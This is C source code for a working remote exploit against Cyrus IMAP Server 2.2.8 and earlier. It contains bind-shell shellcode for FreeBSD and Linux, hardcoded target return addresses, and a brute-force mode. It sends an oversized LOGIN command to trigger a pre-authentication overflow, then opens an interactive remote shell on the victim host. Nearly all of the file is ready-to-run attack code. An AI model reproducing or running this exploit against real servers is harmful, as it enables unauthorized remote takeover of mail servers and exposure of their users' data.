/* * THE EYE ON SECURITY RESEARCH GROUP INDIA - root@eos-india.net * * 305imapmagic.c - n2n/#eos - 24/11/2004 * Cyrus IMAP Server <=2.2.8 IMAPMAGICPLUS preauthentification overflow * Copyright (c) Nilanjan De , http://www.eos-india.net * * Credits: Bug found by Stefan Essar of Team .... e-matters.de??, * FreeBSD portbind shellcode by raptor * * Advisory URL: http://security.e-matters.de/advisories/152004.html * * Note: Exploitation is pretty straight-forward. One thing to keep in mind is * that certain characters like '(',')','"', etc are filtered by cyrus-imapd * so shellcode and return address cannot contain those characters. * * * Greetz: Gyan, jaguar, Team TESO, gera, raptor, all the ppl in * irc.pulltheplug.org,... * * Update: 31/4/2005: no use keeping this private anymore. */ #include #include #include #include #include #include #include #include #include #include #include #include #define IMAP_PORT 143 #define BIND_PORT 31337 #define BUFMIN 491 #define BUFLEN 8192 #define RET 0x08144024 //0xbfbfcd8c #define RET_START 0x08142000 #define RET_END 0x08146000 #define NRETS 5 #define TIMEOUT 10 #define MAX(a,b) ((a) > (b) ? (a) : (b)) #define MIN(a,b) ((a) > (b) ? (b) : (a)) #define BSD_PORT_OFFSET 27 #define LNX_PORT_OFFSET 45 int connect_to(char *host, unsigned int port, unsigned int timeout); void sock_printf(int fd, char *fmt,...); void usage(char *prog); void doshell(int sock); int allowed(unsigned char byte); void fixnull(unsigned long *addr); int check_shellcode(char *shellcode); /* * portbind-bsd.c - setuid/portbind shellcode for *BSD/x86 Copyright (c) 2003 * Marco Ivaldi */ char portbind_bsd[] =/* 8 + 86 = 94 bytes */ "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80" "\x89\xc3\x52\x66\x68" "\x7a\x69" // port 31337 / tcp, change if needed "\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80" "\x51\x53\x53\xb0\x6a\xcd\x80" "\x52\x52\x53\x53\xb0\x1e\xcd\x80" "\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80" "\x41\xe2\xf5\x51\x68//sh\x68/bin\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"; /* Ripped code. Binds shell on 45295 */ char portbind_linux[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; struct target { char *description; unsigned int bufsize; unsigned long retaddr; unsigned long brutestart; unsigned long bruteend; char *shellcode; }; struct target targets[] = { {"FreeBSD 5.x, Cyrus Imapd 2.2.8", 533, 0x08144024, 0x08140000, 0x08148000, portbind_bsd}, {"Fedora Core w/o bigmem/execshield, Cyrus Imapd 2.2.8",533,0x08134320,0x08130000,0x08138000,portbind_linux}, {NULL, 0, 0, 0, 0, NULL} }; int connect_to(char *host, unsigned int port, unsigned int timeout) { struct hostent *h; struct sockaddr_in sin, addr; int sock, flags, len; fd_set rd, wr; struct timeval tv; if ((h = gethostbyname(host)) == NULL) { #ifdef DEBUG perror("gethostbyname"); #endif return -1; } sin.sin_addr = *((struct in_addr *) h->h_addr); sin.sin_family = AF_INET; sin.sin_port = htons((u_short) port); if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { #ifdef DEBUG perror("socket"); #endif return -1; } fcntl(sock, F_SETFL, O_NONBLOCK); if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0) { FD_ZERO(&rd); FD_ZERO(&wr); FD_SET(sock, &rd); FD_SET(sock, &wr); bzero(&tv, sizeof(tv)); tv.tv_sec = timeout; if (select(sock + 1, &rd, &wr, 0, &tv) <= 0) { #ifdef DEBUG perror("select"); #endif return -1; } if (!FD_ISSET(sock, &rd) && !FD_ISSET(sock, &wr)) { #ifdef DEBUG perror("connect"); #endif return -1; } len = sizeof(addr); if (getpeername(sock, (struct sockaddr *) & addr, &len) < 0) { #ifdef DEBUG perror("getpeername"); #endif return -1; } } flags = fcntl(sock, F_GETFL, NULL); fcntl(sock, F_SETFL, flags & ~O_NONBLOCK); return sock; } int allowed(unsigned char byte) { switch(byte){ case ' ': case '(': case ')': case '\"': case 0x00: return 0; break; default: return 1; break; } } void fixnull(unsigned long *addr) { unsigned char byte1, byte2, byte3, byte4; byte1 = (*addr >> 24) & 0xFF; if (!allowed(byte1)) { while (!allowed(++byte1)); *((unsigned char *)addr + 3) = byte1; *((unsigned char *)addr + 2) = 0; *((unsigned char *)addr + 1) = 0; *((unsigned char *)addr + 0) = 0; } byte2 = (*addr >> 16) & 0xFF; if (!allowed(byte2)) { while(!allowed(++byte2)); *((unsigned char *)addr + 2) = byte2; *((unsigned char *)addr + 1) = 0; *((unsigned char *)addr + 0) = 0; } byte3 = (*addr >> 8) & 0xFF; if (!allowed(byte3)) { while (!allowed(++byte3)); *((unsigned char *)addr + 1) = byte3; *((unsigned char *)addr + 0) = 0; } byte4 = (*addr) & 0xFF; if (!allowed(byte4)) { while (!allowed(++byte4)); *((unsigned char *)addr) = byte4; } } void sock_printf(int fd, char *fmt,...) { va_list ap; char buf[BUFLEN]; memset(&buf, 0, sizeof(buf)); va_start(ap, fmt); vsnprintf(buf, (sizeof(buf) - 1), fmt, ap); if (send(fd, buf, strlen(buf), 0) != strlen(buf)) { #ifdef DEBUG perror("send"); #endif exit(EXIT_FAILURE); } return; } void usage(char *prog) { unsigned int i; printf("Usage: %s -h [options]\n", prog); printf("Options:\n"); printf("\t-h \tHost or IP\n"); printf("\t-p \timapd port(default 143)\n"); printf("\t-s \tbuffersize(minimum 491,default 533)\n"); printf("\t-b\t\tbrute force mode\n"); printf("\t-v\t\tverbose mode\n"); printf("\t-B\t\tPort to bind shell (Default: 31337)\n"); printf("\t-T \ttimeout in seconds\n"); printf("\t-t \ttarget number\n"); printf("Targets:\n"); for (i = 0; targets[i].description != NULL; i++) printf("\t%d\t%s\n", i, targets[i].description); exit(EXIT_FAILURE); } void doshell(int sock) { char buf[BUFLEN]; fd_set input; /* Enjoy remote shell ;) */ send(sock, "uname -a; id;\n", 14, 0); while (1) { FD_ZERO(&input); FD_SET(fileno(stdin), &input); FD_SET(sock, &input); if ((select(MAX(sock, fileno(stdin)) + 1, &input, NULL, NULL, NULL)) < 0) { if (errno == EINTR) continue; printf("+ Connection Closed\n"); fflush(stdout); close(sock); exit(EXIT_SUCCESS); } if (FD_ISSET(sock, &input)) write(fileno(stdout), buf, read(sock, buf, BUFLEN)); if (FD_ISSET(fileno(stdin), &input)) write(sock, buf, read(fileno(stdin), buf, BUFLEN)); } } int check_shellcode(char *shellcode) { int i,n; for(i=0,n=0;shellcode[i];n+=allowed(shellcode[i++])); return i-n; } int main(int argc, char **argv) { unsigned short port = IMAP_PORT,bind_port=BIND_PORT; unsigned long n = 0, nmin = BUFMIN, targetnum = 0, timeout = TIMEOUT; unsigned long i, targetmax; unsigned long retaddr = 0, ret_start = 0, ret_end = 0; char c, *shellcode = portbind_bsd, *buf, *victim = NULL; int s, brute = 0, verbose = 0; for (targetmax = 0; targets[targetmax].description != NULL; targetmax++); while ((c = getopt(argc, argv, "h:p:r:s:t:T:B:bv")) != EOF) { switch (c) { case 'h': victim = optarg; break; case 'p': port = (unsigned short)strtoul(optarg, NULL, 0); break; case 'r': retaddr = strtoul(optarg, NULL, 0); ret_start = retaddr; break; case 's': n = strtoul(optarg, NULL, 0); if (n < nmin) { printf("Buffersize too small\n"); usage(argv[0]); } break; case 't': targetnum = strtoul(optarg, NULL, 0); if (targetnum >= targetmax) { printf("Invalid target number\n"); usage(argv[0]); } shellcode = targets[targetnum].shellcode; if (!retaddr) retaddr = targets[targetnum].retaddr; if (!n) n = targets[targetnum].bufsize; if (!ret_start) ret_start = targets[targetnum].brutestart; ret_end = targets[targetnum].bruteend; break; case 'T': timeout = strtoul(optarg, NULL, 0); break; case 'b': brute = 1; verbose = 1; break; case 'v': verbose = 1; break; case 'B': bind_port = (unsigned short)strtoul(optarg, NULL, 0); break; default: usage(argv[0]); break; } } if (!victim) usage(argv[0]); /* defaults */ if (!n) n = 533; if (!retaddr) retaddr = RET; if (!ret_start) ret_start = RET_START; if (!ret_end) ret_end = RET_END; *((unsigned short *)(portbind_bsd + BSD_PORT_OFFSET)) = htons(bind_port); *((unsigned short *)(portbind_linux + LNX_PORT_OFFSET)) = htons(bind_port); if ((i=check_shellcode(shellcode))){ printf("- Shellcode has %u bad characters\n",i); exit(EXIT_FAILURE); } if (nmin < strlen(shellcode) + NRETS * 4 + 20) { printf("- Shellcode too big\n"); exit(EXIT_FAILURE); } buf = (char *)malloc(n * sizeof(char)); if (NULL == buf) { #ifdef DEBUG perror("malloc"); #endif exit(EXIT_FAILURE); } if (brute) { retaddr = ret_start; printf("+ Brute force mode\n"); } do { if ((s = connect_to(victim, port, timeout)) < 0) { printf("- Unable to connect\n"); exit(EXIT_FAILURE); } #ifdef DEBUG printf("Attach"); scanf("%c", &i); #endif if ((i = read(s, buf, n)) < 0) { #ifdef DEBUG perror("read"); #endif exit(EXIT_FAILURE); } buf[i] = 0; if (verbose && !brute) printf("+ Got Banner\n%s\n", buf); /* cyrus is greeting us */ memset(buf, 'G', n - 1); fixnull(&retaddr); for (i = 0; i < NRETS; i++) *((unsigned long *)(buf + n - 5 - i * 4)) = retaddr; memcpy(buf + n - 5 - i * 4 - strlen(shellcode), shellcode, strlen(shellcode)); buf[n - 1] = 0; sock_printf(s, "a001 LOGIN %s pass\r\n", buf); /* we greet cyrus here */ if (verbose) printf("+ Sending evil request[SIZE=%d][RET=%p]...", n, retaddr); if (!brute) sleep(2); close(s); if ((s = connect_to(victim, bind_port, timeout)) < 0) { if (verbose) printf("Failed\n"); } else { if (verbose) printf("Success\n"); printf("+ Seems we got a shell, have fun\n"); doshell(s); exit(EXIT_SUCCESS); } retaddr += (n - strlen(shellcode) - NRETS * 4 - 1) / 2; } while (brute && (retaddr < ret_end)); /* program shdn't reach this point */ exit(EXIT_FAILURE); }